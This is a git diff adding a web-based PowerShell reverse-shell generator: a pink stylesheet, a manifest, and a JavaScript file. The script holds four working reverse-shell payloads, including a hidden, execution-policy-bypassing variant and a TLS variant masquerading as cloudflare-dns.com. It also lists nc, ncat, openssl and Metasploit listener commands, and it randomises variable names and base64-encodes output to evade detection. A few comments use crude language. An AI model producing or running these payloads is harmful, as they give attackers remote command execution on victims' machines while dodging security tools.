intiisss

sdrftghrg

assets/silly.css

@@ -0,0 +1,80 @@
+/*
+colors:
+    * light pink background color: #FFDDDD
+    * dark purple text color: #6B16A0
+    * purple (links): #A020F0
+    * blue (hovers): #0000FF
+    * nearly white pale pink for text inputs: #FFEEEE
+    * lighter purple (buttons): #DCA4FF
+*/
+
+@font-face {
+    font-family: ComicCodedRegular;
+    src: url(ComicCodeRegular.woff)
+}
+
+body {
+    font-family: ComicCodeRegular, "Comic Sans MS", "Comic Sans", monospace;
+    font-size: 1.1em;
+    background-color: #FFDDDD;
+    background-image: url(princesspi-bkg.png);
+    background-repeat: no-repeat;
+    color: #6b16a0;
+    margin-left: 3em;
+}
+
+a:link {
+    color: #A020F0;
+}
+
+a:hover {
+    color: #0000FF;
+}
+
+textarea {
+    font-family: 'Courier New', Courier, monospace;
+}
+
+label {
+    text-decoration: underline;
+}
+
+label:focus, label:hover {
+    text-decoration: none;
+}
+
+input[type=text],select,textarea { 
+    border: 2px solid #A020F0;
+    background-color: #FFEEEE;
+}
+
+input[type=text]:focus,select:focus,textarea:focus {
+    border: 2px solid #0000FF;
+}
+
+input[type=button], input[type=submit] {
+    background-color: #dca4ff;
+    font-family: ComicCodeRegular, "Comic Sans MS", "Comic Sans", monospace;
+}
+
+input[type=button].marginalized {
+    /*margin-left: 50px;*/
+    margin-top: 10px;
+}
+
+input[type=button]:hover, input[type=submit]:hover, input[type=button]:focus, input[type=submit]:focus {
+    border: 2px solid #0000FF;
+}
+
+.label {
+    font-weight: bold;
+}
+
+.hidden {
+    display: none;
+}
+
+.emphasis {
+    font-weight: bold;
+    font-size: 1.2em;
+}

assets/silly.js

@@ -0,0 +1,190 @@
+const psOne = '$LHOST = "<host>"; $LPORT = <port>; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }; $StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()';
+
+const psTwo = 'powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient("<host>",<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"';
+
+const psThree = 'powershell -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient("<host>", <port>);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + "SHELL> ");$StreamWriter.Flush()}WriteToStream "";while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()"';
+
+const psFourTLS = "$sslProtocols = [System.Security.Authentication.SslProtocols]::Tls12; $TCPClient = New-Object Net.Sockets.TCPClient('<host>', <port>);$NetworkStream = $TCPClient.GetStream();$SslStream = New-Object Net.Security.SslStream($NetworkStream,$false,({$true} -as [Net.Security.RemoteCertificateValidationCallback]));$SslStream.AuthenticateAsClient('cloudflare-dns.com',$null,$sslProtocols,$false);if(!$SslStream.IsEncrypted -or !$SslStream.IsSigned) {$SslStream.Close();exit}$StreamWriter = New-Object IO.StreamWriter($SslStream);function WriteToStream ($String) {[byte[]]$script:Buffer = New-Object System.Byte[] 4096 ;$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()};WriteToStream '';while(($BytesRead = $SslStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()";
+
+const psRevRaw = [psOne, psTwo, psThree, psFourTLS];
+
+const listenerOne = 'nc -lvnp <port>'; // nc cleartext tcp
+
+const listenerTwo = 'nc -u -lvp <port>'; // nc cleartext udp
+
+const listenerThree = 'sudo ncat -lvnp <port>'; // ncat cleartext tcp
+
+const listenerFour = 'sudo ncat --ssl -lvnp <port>'; // ncat TLS // issues with this so far
+
+const listenerFive = 'sudo openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 30 -nodes; openssl s_server -quiet -key key.pem -cert cert.pem -port <port>' // openssl TLS
+
+const listenerSix = 'sudo msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost 127.0.0.1; set lport <port>; exploit"' // msfconsole (metasploit) TCP // needs testing
+
+const listenerSeven = 'sudo msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_udp; set lhost 127.0.0.1; set lport <port>; exploit"' // msfconsole (metasploit) UDP // needs testing
+
+const listenersRaw = [listenerOne, listenerTwo, listenerThree, listenerFour, listenerFive, listenerSix, listenerSeven];
+
+
+function revealConfig() {
+    document.getElementById("advancedConfig").style.display = "block";
+}
+
+function showListener() {
+    document.getElementById("listenerDiv").style.display = "block";
+}
+
+
+function encodeUTF16LE(str) { // props Keveun https://stackoverflow.com/questions/24379446/utf-8-to-utf-16le-javascript
+    var out, i, len, c;
+    var char2, char3;
+
+    out = "";
+    len = str.length;
+    i = 0;
+    while(i < len) {
+        c = str.charCodeAt(i++);
+        switch(c >> 4)
+        { 
+          case 0: case 1: case 2: case 3: case 4: case 5: case 6: case 7:
+            // 0xxxxxxx
+            out += str.charAt(i-1);
+            break;
+          case 12: case 13:
+            // 110x xxxx   10xx xxxx
+            char2 = str.charCodeAt(i++);
+            out += String.fromCharCode(((c & 0x1F) << 6) | (char2 & 0x3F));
+            out += str.charAt(i-1);
+            break;
+          case 14:
+            // 1110 xxxx  10xx xxxx  10xx xxxx
+            char2 = str.charCodeAt(i++);
+            char3 = str.charCodeAt(i++);
+            out += String.fromCharCode(((c & 0x0F) << 12) | ((char2 & 0x3F) << 6) | ((char3 & 0x3F) << 0));
+            break;
+        }
+    }
+
+    var byteArray = new Uint8Array(out.length * 2);
+    for (var i = 0; i < out.length; i++) {
+        byteArray[i*2] = out.charCodeAt(i); // & 0xff;
+        byteArray[i*2+1] = out.charCodeAt(i) >> 8; // & 0xff;
+    }
+
+    return String.fromCharCode.apply( String, byteArray );
+}
+
+
+function genShell() {
+    const host = document.getElementById("host").value;
+    const port = document.getElementById("port").value;
+    const rstype = document.getElementById("rstype").value;
+    const listenertype = document.getElementById("listenertype").value;
+    const minLen = document.getElementById("minLen").value;
+    const maxLen = document.getElementById("maxLen").value;
+
+    const psRevStringRaw = psRevRaw[rstype];
+    encodePS(psRevStringRaw);
+}
+
+function randInt(min=2, max=7) {
+    const minCeil = Math.ceil(min);
+    const maxFloor = Math.floor(max);
+    return Math.floor(Math.random() * (maxFloor - minCeil) + minCeil);
+}
+
+function randVarname(minLen=2, maxLen=7, charSet='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789') {
+    let out = '';
+    const randLen = randInt(minLen, maxLen);
+    const charsLen = charSet.length;
+
+    for (let i=0; i<randLen; i++) {
+        out += charSet.charAt(Math.floor(Math.random() * charsLen));
+    }
+
+    return '$'+out; // prepend the $ for powersuck
+}
+
+function configShell(rawShellString, host, port/*, shell*/) {
+    let moddedCmdString = rawShellString;
+    moddedCmdString = moddedCmdString.replaceAll(/<host>/gi, host);
+    moddedCmdString = moddedCmdString.replaceAll(/<port>/gi, port);
+
+    // moddedCmdString = moddedCmdString.replaceAll(/<shell>/gi, shell); // for when we evolve past ps lmao
+    return moddedCmdString;
+}
+
+function encodePS(rawShellString, listenerShow=true) {
+    const host = document.getElementById("host").value;
+    const port = document.getElementById("port").value;
+    const rstype = document.getElementById("listenertype").value;
+    const minLen = document.getElementById("minLen").value;
+    const maxLen = document.getElementById("maxLen").value;
+
+    let matchies = rawShellString.match(/\$(?!null|zero|false|true)[a-z0-9-_]{2,30}/gi);
+
+    const varsLen = matchies.length;
+
+    let randVarSubArr = new Array();
+    let moddedCmdString = configShell(rawShellString, host, port);
+
+    for(let i=0; i<varsLen; i++) {
+        const newRandVar = randVarname(minLen, maxLen);
+
+        randVarSubArr.push(newRandVar);
+
+        moddedCmdString = moddedCmdString.replaceAll(matchies[i], newRandVar);
+    }
+
+    // for `powershell -e $base64EncodedData` to work, the commands need to be first encoded into Unicode/UTF-16 LE (Windows default) than base64 encoded
+    const psEncodedlUTF16LE = encodeUTF16LE(moddedCmdString);
+    const base64EncodedPSExecutable = "powershell -e " + btoa(psEncodedlUTF16LE);
+    const listener = configShell(listenersRaw[rstype], host, port);
+
+    console.log(listenersRaw[rstype]);
+
+    document.getElementById("hiddenOutput").innerHTML = base64EncodedPSExecutable;
+    document.getElementById("hiddenUnencoded").innerHTML = moddedCmdString;
+    document.getElementById("listener").innerHTML = listener;
+    document.getElementById("encodedDiv").style.display = "block";
+    document.getElementById("unencodedDiv").style.display = "block";
+    if(listenerShow) {
+        document.getElementById("listenerDiv").style.display = "block";
+    }
+
+}
+
+function copyCmd(textarea, doneMsg) {
+    const cmdCopyText = document.getElementById(textarea); // no .value here
+
+    cmdCopyText.select(); // select da text
+    cmdCopyText.setSelectionRange(0, 99999); // mobilefags
+
+    navigator.clipboard.writeText(cmdCopyText.value); // copy to clipboard
+
+    // flash the "done" message for 500ms
+    document.getElementById(doneMsg).style.display = "inline";
+
+    setTimeout(function() {
+        document.getElementById(doneMsg).style.display = "none";
+        document.getSelection().removeAllRanges()
+    }, 500);
+}
+
+function swapMode(mode) {
+    if(mode == 'revshell') {
+        document.getElementById('revshellgencontainer').style.display = "block";
+        document.getElementById('encodepscontainer').style.display = "none";
+    } else if(mode == 'psencode') {
+        document.getElementById('encodepscontainer').style.display = "block";
+        document.getElementById('revshellgencontainer').style.display = "none";
+        document.getElementById('listenerDiv').style.display = "none";
+        document.getElementById("unencodedDiv").style.display = "none";
+    }
+
+    document.getElementById('encodedDiv').style.display = "none"; // output div
+}
+
+function obsenc(cmd) {
+    const matchies = cmd.match(/\$[a-zA-z0-9-_]{2,30}[\s;\.]/gi);
+    console.log(matchies);
+}

assets/site.webmanifest

@@ -0,0 +1 @@
+{"name":"","short_name":"","icons":[{"src":"assets/android-chrome-192x192.png","sizes":"192x192","type":"image/png"},{"src":"assets/android-chrome-512x512.png","sizes":"512x512","type":"image/png"}],"theme_color":"#ffffff","background_color":"#ffffff","display":"standalone"}